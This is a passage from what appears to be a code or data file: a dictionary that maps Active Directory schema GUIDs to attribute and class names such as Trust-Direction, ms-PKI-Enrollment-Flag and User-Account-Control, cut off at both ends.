'Original-Display-Table-MSDOS',\n\t'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction',\n\t'0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9',\n\t'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time',\n\t'11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID',\n\t'8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData',\n\t'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations',\n\t'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent',\n\t'670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10',\n\t'4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member',\n\t'36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types',\n\t'4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard',\n\t'11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP',\n\t'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved',\n\t'0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox',\n\t'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner',\n\t'9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11',\n\t'7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator',\n\t'11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted',\n\t'3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID',\n\t'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name',\n\t'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset',\n\t'3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12',\n\t'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection',\n\t'7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties',\n\t'963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object',\n\t'11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword',\n\t'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy',\n\t'1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects',\n\t'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type',\n\t'28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13',\n\t'963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List',\n\t'11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage',\n\t'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag',\n\t'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner',\n\t'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat',\n\t'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14',\n\t'7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy',\n\t'81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type',\n\t'167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair',\n\t'11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation',\n\t'38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy',\n\t'7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags',\n\t'0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid',\n\t'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15',\n\t'1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id',\n\t'11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants',\n\t'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens',\n\t'7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name',\n\t'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name',\n\t'9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16',\n\t'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs',\n\t'5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property',\n\t'1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location',\n\t'11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName',\n\t'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag',\n\t'7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type',\n\t'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd',\n\t'3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17',\n\t'963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA',\n\t'11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator',\n\t'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers',\n\t'5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA',\n\t'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier',\n\t'88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18',\n\t'1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess',\n\t'72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List',\n\t'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value',\n\t'11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner',\n\t'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size',\n\t'963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain',\n\t'8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember',\n\t'0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19',\n\t'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd',\n\t'11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol',\n\t'8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute',\n\t'2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID',\n\t'50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress',\n\t'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20',\n\t'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy',\n\t'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container',\n\t'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store',\n\t'11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating',\n\t'5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS',\n\t'28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List',\n\t'9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName',\n\t'6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates',\n\t'720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group',\n\t'11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence',\n\t'7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName',\n\t'19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set',\n\t'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code',\n\t'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota',\n\t'37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid',\n\t'51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object',\n\t'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value',\n\t'11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope',\n\t'04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice',\n\t'07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval',\n\t'032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes',\n\t'0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period',\n\t'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object',\n\t'11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime',\n\t'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag',\n\t'07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List',\n\t'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control',\n\t'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location',\n\t'26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent',\n\t'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container',\n\t'26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category',\n\t'11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType',\n\t'0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name',\n\t'963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates',\n\t'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert',\n\t'617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner',\n\t'281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority',\n\t'11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL',\n\t'9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates',\n\t'963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA',\n\t'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment',\n\t'0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users',\n\t'05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer',\n\t'85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object',\n\t'807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor',\n\t'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member',\n\t'13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision',\n\t'5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table',\n\t'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters',\n\t'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp',\n\t'167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List',\n\t'0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address',\n\t'0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version',\n\t'5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table',\n\t'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password',\n\t'22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled',\n\t'0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer',\n\t'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings',\n\t'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department',\n\t'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age',\n\t'3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies',\n\t'16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title',\n\t'11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass',\n\t'100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type',\n\t'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber',\n\t'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length',\n\t'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies',\n\t'0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other',\n\t'23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12',\n\t'70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version',\n\t'11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository',\n\t'555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies',\n\t'bf967950-0de6-11d0-a285-00aa003049e2': 'Description',\n\t'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age',\n\t'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature',\n\t'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other',\n\t'28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name',\n\t'90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs',\n\t'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile',\n\t'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count',\n\t'6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp',\n\t'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary',\n\t'9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder',\n\t'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID',\n\t'17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication',\n\t'99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules',\n\t'974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options',\n\t'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator',\n\t'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom',\n\t'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys',\n\t'4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other',\n\t'9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other',\n\t'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version',\n\t'963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes',\n\t'9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp',\n\t'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials',\n\t'4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary',\n\t'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate',\n\t'862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive',\n\t'1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase',\n\t'5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule',\n\t'963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags',\n\t'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker',\n\t'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute',\n\t'0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary',\n\t'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations',\n\t'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive',\n\t'963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification',\n\t'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name',\n\t'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry',\n\t'0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other',\n\t'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed',\n\t'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name',\n\t'20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase',\n\t'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy',\n\t'963d2747-48be-11d1-a9c3-0000f80367c1': 'dhcp-Mask',\n\t'1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State',\n\t'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId',\n\t'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary',\n\t'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created',\n\t'1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext',\n\t'963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey',\n\t'998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink',\n\t'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId',\n\t'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other',\n\t'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed',\n\t'6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID',\n\t'09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube',\n\t'5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration',\n\t'963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description',\n\t'430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId',\n\t'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix',\n\t'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other',\n\t'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite',\n\t'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates',\n\t'963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name',\n\t'09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink',\n\t'0965a062-b1e1-403b-b48d-5c0eb0e952cc': 'ms-RADIUS-SavedFramedIpv6Prefix',\n\t'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary',\n\t'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem',\n\t'60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged',\n\t'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference',\n\t'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey',\n\t'963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options',\n\t'67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink',\n\t'5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route',\n\t'9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo',\n\t'167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source',\n\t'5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged',\n\t'963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties',\n\t'9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink',\n\t'9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route',\n\t'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name',\n\t'4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses',\n\t'78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor',\n\t'53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person',\n\t'7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account',\n\t'963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges',\n\t'8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink',\n\t'3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name',\n\t'b7b13119-b82e-11d0-afee-0000f80367c1': 'Physical-Location-Object',\n\t'281416df-1968-11d0-a28f-00aa003049e2': 'Vendor',\n\t'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates',\n\t'963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations',\n\t'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate',\n\t'48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner',\n\t'8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture',\n\t'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number',\n\t'89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled',\n\t'50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam',\n\t'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type',\n\t'963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers',\n\t'80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name',\n\t'4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact',\n\t'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions',\n\t'7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi',\n\t'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl',\n\t'963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites',\n\t'975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name',\n\t'561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location',\n\t'1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs',\n\t'7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo',\n\t'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To',\n\t'292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam',\n\t'2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type',\n\t'963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State',\n\t'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota',\n\t'5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory',\n\t'426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec',\n\t'1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID',\n\t'2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From',\n\t'963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets',\n\t'8469441b-9ac4-4e45-8205-bd219dbf672d': 'ms-DS-Allowed-DNS-Suffixes',\n\t'603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build',\n\t'926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access',\n\t'1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID',\n\t'8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime',\n\t'07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate',\n\t'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies',\n\t'963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type',\n\t'800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To',\n\t'64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount',\n\t'041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period',\n\t'34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count',\n\t'105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To',\n\t'963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key',\n\t'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes',\n\t'696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet',\n\t'18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage',\n\t'244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path',\n\t'2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime',\n\t'55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding',\n\t'641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions',\n\t'963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time',\n\t'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates',\n\t'6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder',\n\t'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage',\n\t'05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects',\n\t'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To',\n\t'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name',\n\t'3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC',\n\t'72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder',\n\t'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth',\n\t'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed',\n\t'97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From',\n\t'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate',\n\t'310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container',\n\t'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable',\n\t'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist',\n\t'7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered',\n\t'1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period',\n\t'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created',\n\t'5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime',\n\t'9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules',\n\t'503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data',\n\t'7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe',\n\t'8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT',\n\t'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses',\n\t'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo',\n\t'595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType',\n\t'96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service',\n\t'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division',\n\t'db5b0728-6208-4876-83b7-95d3e5695275': 